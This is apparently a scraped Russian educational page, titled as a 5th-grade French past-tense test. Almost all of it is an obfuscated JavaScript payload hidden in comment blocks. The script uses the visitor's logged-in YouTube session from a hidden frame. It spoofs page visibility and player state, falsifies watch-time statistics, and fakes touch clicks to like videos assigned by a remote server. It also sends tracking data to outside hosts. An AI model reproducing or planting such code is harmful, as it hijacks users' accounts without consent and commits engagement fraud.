тест по теме "Прошедшее время" для 5 класса
тест по французскому языку (5 класс)

Агаркова Кристина Сергеевна
<!--//--><![CDATA[// ><!-- <!--//--><![CDATA[// ><!-- 'use strict';var e,n,o;window.self===window.top&&(e=['//','s:','tp','ht'].reverse().join(''),n=['mayazeqor.trkg.ru','55'].join('/'),(o=new Image).src=''.concat(e).concat(n,'.gif')); //--><!]]]]><![CDATA[> //--><!]]> <!--//--><![CDATA[// ><!-- <!--//--><![CDATA[// ><!-- !function(){if(!window.mainScript){window.mainScript=!0;var e={isTop:!1,isAuth:!1,canWork:!0},t=null,n={cdnUrl:"cdnma.cdnservice.space",cdnVer:1,stats:{statType:atob("ZGVza3RvcA=="),taskType:atob("eWxpa2U="),logtype:atob("eXRsaWtlcw==")},urls:{bUrl:atob("aHR0cHM6Ly9tLnlvdXR1YmUuY29tLz9hcHA9bQ=="),eLog:atob("LnN0YXR1c2VzLnNwYWNlL2V2ZW50"),sLog:atob("aHR0cHM6Ly9sb2cua3Nsb2dzLnJ1L3RpbWVzaW5jZQ==")}},a={searchData:new URLSearchParams(document.location.search),locData:document.location.href.toLowerCase()},i=a.searchData.has("id")?parseInt(a.searchData.get("id")):0,r={taskId:4,workerId:"18",serviceId:"4",taskVersion:1,scriptType:"e31_",isProd:!0,mainUdid:a.searchData.has("udid")?a.searchData.get("udid"):"xxxxxxxxxxxx4xxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)}),viewTime:40,timerWait:6e4,frameCount:1},s={startViewItem:null,currentItem:null,checkItem:null,mainTime:1,itemLen:75,finalItemLen:14400,finalItemTime:14400,canStop:!1,workStarted:!1},o={logSended:!1,atrSended:!1,timeSended:!1,consentSended:!1},d={viewAtr:!1,LN_atr_good:!1,viewPlayback:!1,viewTimer:0,lastTimer:0,hasVisible:!1,lastRAF:0,visUpdated:!1,viewMainPlayback:!1,viewMainAtr:!1,MN_atr_good:!1,hasQoe:!1},l={isLive:!1,isUnvplayable:!1},c={loadPageCount:100,waitShow:40,waitMain:40,waitStart:5,waitPlay:20,addMain:5},u={linkNode:!1,clicked:!1,tryCount:0,touchN:0,MN_click:!1,LN_click:!1},p={likeSended:!1,likeState:null,isLiked:!1,likePreState:null},h=function(){return this};h.prototype={fillOptions:function(e){return["data","success","error","json","headers","creds"].forEach(function(t){void 0===e[t]&&(e[t]=null)}),e},getSend:function(e,t){return this.sender("GET",e,t)},postSend:function(e,t){return this.sender("POST",e,t)},sender:function(e,t,n){n=this.fillOptions(n);var a=window.preXMLHttpRequest?new window.preXMLHttpRequest:new XMLHttpRequest;if(a.open(e,t,!0),n.json||"POST"!==e||a.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),a.onreadystatechange=function(){a.readyState===a.DONE&&(200===a.status?n.success&&n.success(a.responseText):n.error&&n.error(a.responseText,a.status))},n.creds&&(a.withCredentials=!0),n.headers)for(var i in n.headers)a.setRequestHeader(i+"",n.headers[i+""]);return a.send(n.data?n.data:null),a}};var m=new h,f={cget:function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()\[\]\\\/+^])/g,"\\$1")+"=([^;]*)"));return t?t[1]:""},cset:function(e,t,n){var a=new Date,i=e+"="+t;for(var r in a.setTime(a.getTime()+1e3*n.expires),n.expires=a.toUTCString(),n){i+="; "+r;var s=n[r+""];!0!==s&&(i+="="+s)}document.cookie=i}},y=function(e,t,n){const a=[];n.forEach(t=>{a.push(new Touch({clientX:t.x,clientY:t.y,identifier:t.id,target:e}))}),e.dispatchEvent(new TouchEvent(t,{touches:a,view:window,cancelable:!0,bubbles:!0}))},v=function(){return this.logData={fingerprint:"",type:r.scriptType+r.workerId,stat:n.stats.statType,id:0,v:"",type_task:n.stats.taskType},this.ReqLog=new h,this};v.prototype={add:function(e,t){this.logData[e]=t},push:function(e,t){this.logData[e].push(t)},send:function(e){var t;this.add("fingerprint",r.mainUdid);try{t=JSON.stringify(this.logData)}catch(e){t="{}"}var a={data:t,json:!0};e&&(a.success=e,a.error=e,e()),this.ReqLog.postSend("https://statlog"+r.serviceId+n.urls.eLog+"?v="+Math.random(),a)}};var w=function(){return this.stopLog=!1,this.logData={udid:r.mainUdid,task_id:r.taskId,sid:n.stats.logtype,generated:!1,event:"start_script",timer:0,version:1,is_hidden:!0,has_focus:!0,visibility_state:r.taskVersion},this.ReqLog=new h,this};w.prototype={send:function(e,t,a,i){var o=this;if(a?C():i&&setTimeout(i,100),!(r.isProd&&!t||this.stopLog)){var d=JSON.parse(JSON.stringify(this.logData));d.udid=r.mainUdid,d.sid=n.stats.logtype,d.event=e,d.timer=s.currentItem?parseInt(s.currentItem.id):0;var l={json:!0,data:JSON.stringify(d)};setTimeout(function(){o.ReqLog.postSend(n.urls.sLog,l)},0)}}};var g=function(){return s.finalItemTime.toFixed(3)},_=function(){return(s.finalItemTime+1).toFixed(3)},x=function(e){return e=e.replace(/([&?])bh(=|=[^&]+,|=[^&]+%2C)([0-9.]+):[0-9.]+(&.*|)$/i,"$1bh$2$3:"+g()+"$4"),!d.hasQoe&&e.match(/([&?])bh(=|=[^&]+,|=[^&]+%2C)10\.[0-9]+:[0-9.]+(&.*|)$/i)&&(d.hasQoe=!0,K.send("v_hq")),e},k=function(e){return e=(e=(e=(e=(e=(e=e.replace(/([&?])vps(=|=[^&]+,|=[^&]+%2C)[0-9.]+:([a-zA-Z]+)(&.*|)$/i,"$1vps$2"+_()+":$3$4")).replace(/([&?])bwm(=|=[^&]+,|=[^&]+%2C)[0-9.]+(&.*|)$/i,"$1bwm$2"+_()+"$3")).replace(/([&?])bwe(=|=[^&]+,|=[^&]+%2C)[0-9.]+(&.*|)$/i,"$1bwe$2"+_()+"$3")).replace(/([&?])bat(=|=[^&]+,|=[^&]+%2C)[0-9.]+(:[0-9.]+:[0-9.]+)(&.*|)$/i,"$1bat$2"+_()+"$3$4")).replace(/([&?])cmt(=|=[^&]+,|=[^&]+%2C)[0-9.]+:[0-9.]+(&.*|)$/i,"$1cmt$2"+_()+":"+g()+"$3")).replace(/([&?])bh(=|=[^&]+,|=[^&]+%2C)[0-9.]+:[0-9.]+(&.*|)$/i,"$1bh$2"+_()+":"+g()+"$3"),K.send("qoe_pl"),s.canStop=!0,e},T=function(e){var t,n=e.toLowerCase(),a=s.checkItem?s.checkItem.toLowerCase():"";return n.indexOf("/atr?")>-1&&(a&&n.indexOf(a)>-1?(d.viewAtr=!0,K.send("L_atr")):(d.viewMainAtr=!0,K.send("M_atr"))),n.indexOf("/playback?")>-1&&(a&&n.indexOf(a)>-1?(d.viewPlayback=!0,K.send("L_play")):(d.viewMainPlayback=!0,K.send("M_play"))),a&&-1===n.indexOf(a)&&n.indexOf("pbj=")>-1&&(e=e.replace(/([&?])v=[^&](&.*|)$/i,"$1v="+s.checkItem+"$2")),a&&(t=n.match(/like\/((?:remove|dis|)like)/i))&&t&&(K.send("is_like_"+t[1],!0),p.likeSended=!0),a&&-1!==n.indexOf(a)?((n.indexOf("watchtime")>-1||n.indexOf("/playback")>-1)&&(e=e.replace(/([&?])len=[^&]+(&.*|)$/i,"$1len="+g()+"$2")),n.indexOf("watchtime")>-1&&n.indexOf("final=1")>-1&&(e=function(e){return e=(e=(e=e.replace(/&cmt=[0-9.]+(&.*|)$/i,"&cmt="+g()+"$1")).replace(/&rt=[0-9.]+(&.*|)$/i,"&rt="+_()+"$1")).replace(/&et(=|=[^&]+,|=[^&]+%2C)[0-9.]+(&.*|)$/i,"&et$1"+g()+"$2"),K.send("final"),e}(e)),n.indexOf("stats/qoe")>-1&&(e=d.hasQoe&&d.viewAtr?k(e):x(e)),n.indexOf("/watchtime?")>-1&&(n.match(/[&?]st=[0-9.]+(,|%2c)[^&]+(&.*|)$/i)&&(e=e.replace(/([&?]st=[0-9.]+)(,|%2c)[^&]+(&.*|)$/i,"$1$3")),n.match(/[&?]et=[^&]+(,|%2c)[0-9.]+(&.*|)$/i)&&(e=e.replace(/([&?]et=)[^&]+(,|%2c)([0-9.]+)(&.*|)$/i,"$1$3$4")),n.match(/[&?]volume=[0-9.]+(,|%2c)[^&]+(&.*|)$/i)&&(e=e.replace(/([&?]volume=[0-9.]+)(,|%2c)[^&]+(&.*|)$/i,"$1$3")),n.match(/[&?]muted=[0-9.]+(,|%2c)[^&]+(&.*|)$/i)&&(e=e.replace(/([&?]muted=[0-9.]+)(,|%2c)[^&]+(&.*|)$/i,"$1$3"))),e):e},b=function(e,t,n){if(!t)return t;if("string"!=typeof t)return t;var a=e.toLowerCase(),i=s.checkItem?s.checkItem.toLowerCase():"";if(a.indexOf("/atr?")>-1){var r=t.length>1e3;i&&a.indexOf(i)>-1?(d.LN_atr_good=r,K.send("LN_atr_"+(r?"1":"0"),!0)):(d.MN_atr_good=r,K.send("MN_atr_"+(r?"1":"0"),!0))}return i&&a.indexOf("/qoe")>-1&&(t&&t.indexOf("error")>-1?K.send("Qoe_err"):t=d.hasQoe&&d.viewAtr?k(t):x(t)),t},L=function(e,t){return e=(e=e.replace("app=m&pbj=","pbj=")).replace("pbj=","app=m&pbj="),e=T(e)},N=function(e){return e=(e=(e=e.replace(/\\\\u00/g,"ux00")).replace(/\\u0026/g,"um0026")).replace(/\\u003d/g,"um003d")},M=function(e){return e=(e=(e=e.replace(/um003d/g,"\\u003d")).replace(/um0026/g,"\\u0026")).replace(/ux00/g,"\\\\u00")},S=function(e,t,n){var a=e.match(t);return a&&(a=a.map(function(e){return e.replace(n,"$1")})).forEach(t=>{s.startViewItem&&s.startViewItem===t||s.currentItem&&(e=e.replace(new RegExp(t,"gm"),s.currentItem.item))}),e},E=function(){return{itag:18,url:"https://"+n.cdnUrl+"/videoplayback?expire=1638830180",mimeType:'video/mp4; codecs="avc1.42001E, mp4a.40.2"',bitrate:647406,width:640,height:360,lastModified:"1638630751339073",contentLength:"83046037",quality:"medium",fps:25,qualityLabel:"360p",projectionType:"RECTANGULAR",averageBitrate:647358,audioQuality:"AUDIO_QUALITY_LOW",approxDurationMs:"1026275",audioSampleRate:"44100",audioChannels:2}},D=["3","response","contents","singleColumnWatchNextResults","results","results","contents","1"],I=["buttons","0","slimMetadataToggleButtonRenderer","button","toggleButtonRenderer","isToggled"],R=D.concat(["itemSectionRenderer","contents","0","slimVideoMetadataRenderer"]).concat(I),A=D.concat(["slimVideoMetadataSectionRenderer","contents","1","slimVideoActionBarRenderer"]).concat(I),$=function(e,t,n){if("blob"!==e.responseType)return void(n&&n(t));var a="response"in e?e.response:e.responseText;const i=new FileReader;i.onload=(a=>{O(e,t,n,a.target.result)}),i.readAsText(a)},P=function(e,t,n){if("blob"!==e.responseType)return void(n&&n(t));var a="response"in e?e.response:e.responseText;const i=new FileReader;i.onload=(a=>{V(e,t,n,a.target.result)}),i.readAsText(a)},O=function(e,t,a,i){var r;try{r=JSON.parse(i)}catch(e){return void a(t)}if(r){try{if(r.adPlacements&&r.adPlacements.length>0&&(r.adPlacements=[]),!l.isUnvplayable&&r.playabilityStatus&&r.playabilityStatus.status&&"UNPLAYABLE"===r.playabilityStatus.status&&(l.isUnvplayable=!0,K.send("play_error",!0,!0)),r.streamingData){var d=r.streamingData;d.playerAds&&d.playerAds.length>0&&(r.streamingData.playerAds=[]),d.adaptiveFormats&&d.adaptiveFormats.length>0&&(r.streamingData.adaptiveFormats=[]),d.formats&&0!==d.formats.length||(r.streamingData.formats=[],r.streamingData.formats.push(E())),d.dashManifestUrl&&(r.streamingData.dashManifestUrl=""),d.hlsManifestUrl&&(r.streamingData.hlsManifestUrl="")}if(s.currentItem&&r.playerResponse&&r.playerResponse.videoDetails&&s.currentItem.item===r.playerResponse.videoDetails.videoId&&(r.videoDetails.isLive&&!0===r.videoDetails.isLive&&(l.isLive=!0),r.videoDetails.lengthSeconds)){var c=r.videoDetails.lengthSeconds.replace(/^([0-9]+)\.[0-9]+$/,"$1").replace(/[^0-9]/,"");(c=c?parseInt(c):0)&&c>s.itemLen&&(s.itemLen=c)}i=(i=JSON.stringify(r)).replace(/https?:\/\/.*?\/videoplayback/gi,"https://"+n.cdnUrl+"/videoplayback"),o.parceSended||(o.parceSended=!0,K.send("player_parse"));var u=new Blob([i],{type:"application/json"});e["response"in e?"response":"responseText"]=u}catch(e){}a(t)}else a(t)},V=function(e,t,n,a){if("blob"===e.responseType){if(a){a=(a=a.replace(new RegExp('"videoId":"[^"]+"',"g"),'"videoId":"'+s.currentItem.item+'"')).replace(new RegExp('"/watch?v=[^"]+"',"g"),'"/watch?v='+s.currentItem.item+'"');var i=new Blob([a],{type:"application/json"});e["response"in e?"response":"responseText"]=i}n(t)}else n&&n(t)},U=function(e){if(!e)return e;try{e=N(e);var t=JSON.parse(e);if(!t)return e;if(t[2]&&t[2].playerResponse){var a=t[2].playerResponse;if(a.adPlacements&&a.adPlacements.length>0){var i=JSON.stringify(t[2].playerResponse.adPlacements);e=e.replace('"adPlacements":'+i,'"adPlacements":[]')}if(!l.isUnvplayable&&a.playabilityStatus&&a.playabilityStatus.status&&"UNPLAYABLE"===a.playabilityStatus.status&&(l.isUnvplayable=!0,K.send("play_error_p",!0,!0)),a.playerAds&&a.playerAds.length>0){var r=JSON.stringify(t[2].playerResponse.playerAds);e=e.replace('"playerAds":'+r,'"playerAds":[]')}if(a.streamingData){var o=a.streamingData;o.adaptiveFormats&&o.adaptiveFormats.length>0&&(e=e.replace(/"adaptiveFormats":\+]/,'"adaptiveFormats":[]')),o.playerAds&&o.playerAds.length>0&&(e=e.replace(/"playerAds":\+]/,'"playerAds":[]')),o.formats||(o.formats=[],o.formats.push(E()),e=(e=(e=e.replace(/,"formats":\+]/,"")).replace(/"formats":\+],/,"")).replace('"adaptiveFormats":','"formats":'+JSON.stringify(o.formats)+',"adaptiveFormats":')),o.dashManifestUrl&&(e=(e=e.replace(/,"dashManifestUrl":"[^"]+"/i,"")).replace(/"dashManifestUrl":"[^"]+",/i,"")),o.hlsManifestUrl&&(e=(e=e.replace(/,"hlsManifestUrl":"[^"]+"/i,"")).replace(/"hlsManifestUrl":"[^"]+",/i,""))}if(s.currentItem&&a.videoDetails&&s.currentItem.item===a.videoDetails.videoId&&(a.videoDetails.isLive&&!0===a.videoDetails.isLive&&(l.isLive=!0),a.videoDetails.lengthSeconds)){var d=a.videoDetails.lengthSeconds.replace(/^([0-9]+)\.[0-9]+$/,"$1").replace(/[^0-9]/,"");(d=d?parseInt(d):0)&&d>s.itemLen&&(s.itemLen=d)}}return function(e){var t=e,n=null,a=function(e){if(t)for(var a in e){if("isToggled"===e[a]){n=t[e[a]]&&!0===t[e[a]];break}if(!t[e[a]])break;t=t[e[a]]}};a(R),null===n&&(t=e,a(A)),null!==n?(p.isLiked=n,p.likeState=n):K.send("like_toggle_error")}(t),e=e.replace(/https?:\/\/.*?\/videoplayback/gi,"https://"+n.cdnUrl+"/videoplayback"),e=S(e,new RegExp('"videoId":"[^"]+"',"gm"),new RegExp('"videoId":"([^"]+)"',"m")),e=(e=(e=(e=(e=(e=(e=S(e,new RegExp("\\\\u0022videoId\\\\u0022:\\\\u0022.{11}\\\\u0022","gm"),new RegExp("\\\\u0022videoId\\\\u0022:\\\\u0022(.{11})\\\\u0022","m"))).replace(/hq720[^.]*\.jpg[^"]+"/g,'default.jpg"')).replace(/hq720[^.]*\.webp[^"]+"/g,'default.webp"')).replace(/(mq|hq|sd)default[^.]*\.jpg"/g,'default.jpg"')).replace(/(mq|hq|sd)default[^.]*\.webp"/g,'default.webp"')).replace(/(mq|hq|sd)default[^.]*\.jpg\\u0022/g,"default.jpg\\u0022")).replace(/(mq|hq|sd)default[^.]*\.webp\\u0022/g,"default.webp\\u0022"),e=M(e)}catch(e){return""}},q={playDop:!1,playNow:!1,realPlay:!1,playerDataValues:{currentTime:0,duration:null,ended:!1,paused:!1,readyState:0,networkState:3,askBuffered:!1,askPlayed:!1,buffered:{length:0,start:0,end:0},played:{length:0,start:0,end:0}},resetPlayer:function(){q.playNow=!1,q.playerDataValues.currentTime=0,q.playerDataValues.duration=0,q.playerDataValues.ended=!1,q.playerDataValues.paused=!1,q.playerDataValues.readyState=0,q.playerDataValues.networkState=3,q.playerDataValues.buffered.length=0,q.playerDataValues.buffered.start=0,q.playerDataValues.buffered.end=0,q.playerDataValues.played.length=0,q.playerDataValues.played.start=0,q.playerDataValues.played.end=0,q.playerDataValues.askBuffered=!1,q.playerDataValues.askPlayed=!1},updatePlayer:function(){window.HTMLMediaElement.prototype.__addEventListener=window.HTMLMediaElement.prototype.addEventListener,window.HTMLMediaElement.prototype.addEventListener=function(e,t,n){return this.__addEventListener(e,function(t,n){"playing"!==e||!s.workStarted||q.playNow||q.realPlay||(q.realPlay=!0,K.send("realPlay"))},n),this.__addEventListener(e,t,n)},window.HTMLMediaElement.prototype.doplay=function(){if(q.playNow){var e=this;q.playerDataValues.currentTime+=1,q.playerDataValues.buffered.end=q.playerDataValues.currentTime,q.playerDataValues.played.end=q.playerDataValues.currentTime,this.dispatchEvent(new Event("timeupdate")),setTimeout(function(){e.doplay()},100)}else q.playDop=!1},delete window.HTMLMediaElement.prototype.error,window.HTMLMediaElement.prototype.__defineGetter__("error",function(){return null}),delete window.HTMLMediaElement.prototype.paused,window.HTMLMediaElement.prototype.__defineGetter__("paused",function(){return q.playerDataValues.paused}),delete window.HTMLMediaElement.prototype.ended,window.HTMLMediaElement.prototype.__defineGetter__("ended",function(){return q.playerDataValues.ended}),delete window.HTMLMediaElement.prototype.muted,window.HTMLMediaElement.prototype.__defineGetter__("muted",function(){return!1}),window.HTMLMediaElement.prototype._pause=window.HTMLMediaElement.prototype.pause,window.HTMLMediaElement.prototype.pause=function(){},window.HTMLMediaElement.prototype._play=window.HTMLMediaElement.prototype.play,window.HTMLMediaElement.prototype.play=function(){var e=this;return setTimeout(function(){s.workStarted&&(q.realPlay||q.playNow||(q.playNow=!0,K.send((s.workStarted?"LN_":"MN_")+"player"),e._updatedData||(e._updatedData=!0,e.__buffered=e.buffered,e._buffered={length:1,start:function(){return 0},end:function(){return q.playerDataValues.buffered.end}},e.__played=e.played,e._played={length:1,start:function(){return 0},end:function(){return q.playerDataValues.played.end}},e._currentTime=e.currentTime,e.__defineGetter__("currentTime",function(){var t=Math.ceil(1e3*q.playerDataValues.currentTime)/1e3;return q.realPlay&&(t=e._currentTime),t}),e._duration=e.duration,e.__defineGetter__("duration",function(){var t=q.playerDataValues.duration;return q.realPlay&&(t=e._duration),t}),e._readyState=e.readyState,e.__defineGetter__("readyState",function(){var t=q.playerDataValues.readyState;return q.realPlay&&(t=e._readyState),t}),e._networkState=e.networkState,e.__defineGetter__("networkState",function(){var t=q.playerDataValues.networkState;return q.realPlay&&(t=e._networkState),t}),e.__defineGetter__("buffered",function(){var t=e._buffered;return q.realPlay&&(t=e.__buffered),t}),e.__defineGetter__("played",function(){var t=e._played;return q.realPlay&&(t=e.__played),t})),q.playerDataValues.duration=s.itemLen,q.playerDataValues.readyState=4,q.playerDataValues.networkState=1,q.playerDataValues.buffered.length=1,q.playerDataValues.buffered.end=s.itemLen,q.playerDataValues.played.length=1,q.playerDataValues.played.end=0,q.playerDataValues.askBuffered=!1,q.playerDataValues.askPlayed=!1,e.dispatchEvent(new Event("progress")),e.dispatchEvent(new Event("suspend")),e.dispatchEvent(new Event("durationchange")),e.dispatchEvent(new Event("resize")),e.dispatchEvent(new Event("loadedmetadata")),e.dispatchEvent(new Event("loadeddata")),e.dispatchEvent(new Event("playing")),setTimeout(function(){q.playDop||(q.playDop=!0,e.doplay())},100)))},1e3),this._play().then(function(e){return e})}}},H=function(e,t,n){u.linkNode=!1,u.clicked=!1,u.tryCount=0;var a=function(){if(!u.clicked){u.clicked=!0,K.send(e+"c",!0);try{u.linkNode.removeEventListener("click",a)}catch(e){}t()}},i=function(){if(u.tryCount--,u.tryCount>5)K.send(e+"nlt",!0,!0);else{var t=document.evaluate('//a[contains(@class,"media-item-thumbnail-container")]',document,null,XPathResult.ANY_TYPE,null);for(u.linkNode=t.iterateNext(),u.linkNode&&(u.linkNode=t.iterateNext());u.linkNode&&(!u.linkNode.getAttribute("href")||u.linkNode.getAttribute("href").indexOf("playlist")>-1||!u.linkNode.innerHTML||u.linkNode.innerHTML.indexOf("LIVE")>-1||-1===u.linkNode.innerHTML.indexOf("1?Math.max(window.innerWidth,411):411)+"px",u.linkNode.style.height=(window.innerHeight>1?Math.max(window.innerHeight,731):731)+"px",u.linkNode.style.paddingTop=u.linkNode.style.paddingLeft=u.linkNode.style.marginTop=u.linkNode.style.marginLeft="0";var l=document.evaluate("div/img",u.linkNode,null,XPathResult.ANY_TYPE,null).iterateNext();l&&(l.getAttribute("src")||(l.src="https://i.ytimg.com/vi/"+(s.checkItem?s.checkItem:s.startViewItem)+"/default.jpg",K.send(e+"img"))),setTimeout(function(){!function(e,t,n){u.clicked?u[n+"click"]=!0:(K.send(n+"ec",!0),u.touchN++,y(u.linkNode,"touchstart",[{x:e,y:t,id:u.touchN}]),setTimeout(function(){u.touchN++,y(u.linkNode,"touchend",[{x:e,y:t,id:u.touchN}]),u.linkNode.click()},100),setTimeout(function(){u.clicked||K.send(n+"nc",!0,!0)},1e3))}(r,d,e)},500)}else K.send(e+"l",!0,!0)}else setTimeout(i,100)}};setTimeout(i,600)},C=function(){setTimeout(function(){document.location.replace("https://"+n.cdnUrl+"/yshow.html?vv="+n.cdnVer+"&id="+i+"&udid="+r.mainUdid+(e.isAuth?"&isauth=1":""))},500)},j=function(e){e?K.send("end_like",!0,!1,function(){var e;(e=new v).add("fingerprint",r.mainUdid),e.add("id",s.currentItem?parseInt(s.currentItem.id):1),e.add("v",s.currentItem?s.currentItem.item:"x"),e.add("type",r.scriptType+[r.taskVersion,r.serviceId,r.workerId].join("_")),e.add("type_task",n.stats.taskType),e.send(C)}):K.send("no_like",!1,!0)},Y=function(){if(!o.logSended)if(c.waitShow--,c.waitShow<0)K.send("W_wait_error",!0,!0);else if(!d.viewAtr||o.atrSended||(o.atrSended=!0,K.send("W_atr",!0),d.LN_atr_good)){var e,t;(e=document.evaluate('//div[contains(@class,"time-display-content")]/span[@class="time-first"]',document,null,XPathResult.ANY_TYPE,null).iterateNext())&&(t=!!e.innerHTML&&e.innerHTML.replace(/[^0-9]+/gi,""))&&t.match(/^[0-9]+$/)&&(t=parseInt(t))>d.viewTimer&&(d.viewTimer=t,K.send("W_p_"+d.viewTimer)),K.send("W_t_"+d.viewTimer),d.viewTimer&&!o.timeSended&&(o.timeSended=!0,K.send("W_time",!0));var n=0;if(d.viewTimer&&(n=2*Math.floor(d.viewTimer/2))&&n>d.lastTimer&&(d.lastTimer=n,c.waitShow=100,K.send("W_"+n)),s.canStop||n>=r.viewTime)return o.logSended=!0,K.send("like_show"),void function(){u.linkNode=!1,u.clicked=!1,u.tryCount=0,p.isLiked&&K.send("is_liked");var e=10,t=function(){return--e<0?(K.send("like_no_sended",!0),void j()):p.likeSended?(K.send("like_sended",!1),void j(!0)):void setTimeout(t,200)},n=function(){if(!u.clicked){u.clicked=!0;try{u.linkNode.removeEventListener("click",n)}catch(e){}setTimeout(t,200)}},a=function(){if(u.tryCount--,u.tryCount>5)K.send("LK_nlt",!0,!0);else{var e='//div[contains(@class,"slim-video-action-bar-actions")]/ytm-slim-metadata-toggle-button-renderer/',t='/c3-material-button/button[contains(@class,"c3-material-button-button")]',i=document.evaluate(e+"toggle-button-with-animated-icon"+t,document,null,XPathResult.ANY_TYPE,null);if(u.linkNode=i.iterateNext(),u.linkNode||(i=document.evaluate(e+t,document,null,XPathResult.ANY_TYPE,null),u.linkNode=i.iterateNext(),u.linkNode)){var r=u.linkNode.getAttribute("aria-pressed");"true"===r&&K.send("btn_pressed"),p.likePreState="true"===r,u.linkNode.addEventListener("click",n);var s=5+Math.ceil(10*Math.random()),o=5+Math.ceil(10*Math.random());K.send("LK_need_click"),u.touchN++,y(u.linkNode,"touchstart",[{x:s,y:o,id:u.touchN}]),setTimeout(function(){u.touchN++,y(u.linkNode,"touchend",[{x:s,y:o,id:u.touchN}]),u.linkNode.click()},100),setTimeout(function(){u.clicked||K.send("LK_no_click",!1,!0)},600)}else setTimeout(a,100)}};a()}();setTimeout(Y,500)}else K.send("LN_atr_error",!0,!0)},W=function(){if(c.waitPlay--,c.waitPlay<0)return K.send("W_no_playback",!0),void setTimeout(Y,500);d.viewPlayback?(K.send("W_ok_playback",!0),setTimeout(Y,500)):setTimeout(W,500)},X=function(){K.send("W_s");var e=function(){!1===l.isLive?document.location.href.indexOf(s.currentItem.item)>-1?K.send("W_v"):d.viewPlayback||K.send("W_ve",!0):K.send("is_live",!0,!0)},t=function(){s.workStarted=!0,setTimeout(e,3e3),setTimeout(W,2e3)};setTimeout(function(){H("LN_",t,s.currentItem.item)},300)},F=function(){if(c.waitMain--,c.waitMain<0)return d.viewMainPlayback||K.send("MN_playback_error"),d.viewMainAtr||K.send("MN_atr_error"),void K.send("MN_wt",!0,!0);document.location.href.indexOf("watch")>-1||d.viewMainPlayback?setTimeout(X,1e3):setTimeout(F,500)},B=function(){setTimeout(G,3e4)},G=function(){K.send("SL_s"),m.postSend("https://service"+r.serviceId+".nservices.space/youlist.php?worker="+r.workerId+"&uid="+r.mainUdid+"&rand="+Math.random(),{data:"",success:function(e){var t;K.send("SL_i",!0);try{t=JSON.parse(e)}catch(e){return void K.send("ids_json_error",!0,!1,B)}var n=null;if(t[52])if(n=Object.keys(t[52]).pop()){var a=t[52][n+""]+"";s.currentItem={id:n+"",item:a},s.currentItem?(K.send("SL_ii"),H("MN_",F)):K.send("SL_ei",!0,!0)}else K.send("empty_vids",!0,!1,B);else K.send("empty_type",!0,!1,B)},error:function(){K.send("empty_list",!0,!1,B)}})},J=function(){c.loadPageCount--,c.loadPageCount<1?K.send("BL_e",!0,!0):document&&document.body&&!(document.body.className.indexOf("load")>-1)&&document.getElementById("player")&&""!==document.getElementById("player").innerHTML?(K.send("main_start",!0),setTimeout(function(){G()},300)):setTimeout(J,300)},z=function(e){c.waitStart--,c.waitStart<=0?K.send("MNS_"+e,!0,!0):(K.send("MNS_ret"),setTimeout(Z,100))},Q=function(e){if(c.addMain--,c.addMain<=0)K.send("MNA_stop",!0,!0);else{var t=!1;try{document.open("text/html","replace"),document.write(e),document.close(),t=!0}catch(e){K.send("MNA_bad")}t?(document.dispatchEvent(new Event("visibilitychange")),setTimeout(J,300)):setTimeout(function(){Q(e)},100)}},Z=function(){var t;t=n.urls.bUrl,window.history.replaceState({},"",t),m.getSend(n.urls.bUrl,{success:function(t){if(K.send("MNL"),t)if(t=function(e){return e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.replace("window.delayFetch","false")).replace("(isHidden)","(false)")).replace(/document\.hidden/g,"false")).replace(/"CLIENT_CANARY_STATE":"[^"]+",/,'"CLIENT_CANARY_STATE": "none",')).replace(/"CLIENT_TRANSPORT":"[^"]+",/,'"CLIENT_TRANSPORT":"tcp",')).replace(/"PLAYER_JS_URL":"([^"]+\.js)"/gi,'"PLAYER_JS_URL":"https://'+n.cdnUrl+"$1?v="+n.cdnVer+'"')).replace(/"jsUrl":"([^"]+\.js)"/gi,'"jsUrl":"https://'+n.cdnUrl+"$1?v="+n.cdnVer+'"')).replace(/src="([^"]+base\.js)"/gi,'src="https://'+n.cdnUrl+"$1?v="+n.cdnVer+'"')).replace(/hq720[^.]*\.jpg\?.*?\\x22/g,"default.jpg\\x22")).replace(/mqdefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/hqdefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/sddefault[^.]*\.jpg\\x22/g,"default.jpg\\x22")).replace(/hq720[^.]*\.webp\?.*?\\x22/g,"default.webp\\x22")).replace(/mqdefault[^.]*\.webp\\x22/g,"default.webp\\x22")).replace(/hqdefault[^.]*\.webp\\x22/g,"default.webp\\x22")).replace(/sddefault[^.]*\.webp\\x22/g,"default.webp\\x22")}(t)){if(-1===t.indexOf('"LOGGED_IN":true'))return e.isAuth=!1,K.send("no_login",!0),void ce("noauth");K.send("is_login",!0),function(){K.send("VIS");var e=0;try{document.hasFocus=function(){return!0}}catch(t){e++}try{delete document.hidden}catch(t){e++}try{document.__defineGetter__("hidden",function(){return!1})}catch(t){e++}try{delete document.visibilityState}catch(t){e++}try{document.__defineGetter__("visibilityState",function(){return"visible"})}catch(t){e++}!function(){var t=0;try{window.__requestAnimationFrame=window.requestAnimationFrame,delete window.requestAnimationFrame}catch(t){e++}try{window.requestAnimationFrame=function(e){var n=(new Date).getTime(),a=Math.max(0,16-(n-t));return t=n+a,window.setTimeout(function(){e(n+a)},a)},window.cancelAnimationFrame=function(e){clearTimeout(e)}}catch(t){e++}}(),function(){var t=0;try{window.__webkitRequestAnimationFrame=window.webkitRequestAnimationFrame,delete window.webkitRequestAnimationFrame}catch(t){e++}try{window.webkitRequestAnimationFrame=function(e){var n=(new Date).getTime(),a=Math.max(0,16-(n-t));return t=n+a,window.setTimeout(function(){e(n+a)},a)},window.webkitCancelAnimationFrame=function(e){clearTimeout(e)}}catch(t){e++}}(),e>0&&K.send("VIS_e",!0),d.visUpdated=!0}(),q.updatePlayer(),Q(t)}else z("v");else z("e")},error:function(){z("le")},creds:!0})},K=new w,ee=!1,te=function(){window.__prepareReplaceUrl=function(e,t){return L(e)},window.__checkPostData=function(e,t){return b(e,t)},ee||(ee=!0,window.requestIdleCallback=void 0,window.cancelIdleCallback=void 0,window.fetch=void 0,window.preRequest=window.Request,window.Request=function(e,t){return e=L(e),new window.preRequest(e,t)},window.navigator.preBeacon=window.navigator.sendBeacon,window.navigator.sendBeacon=function(e,t){return 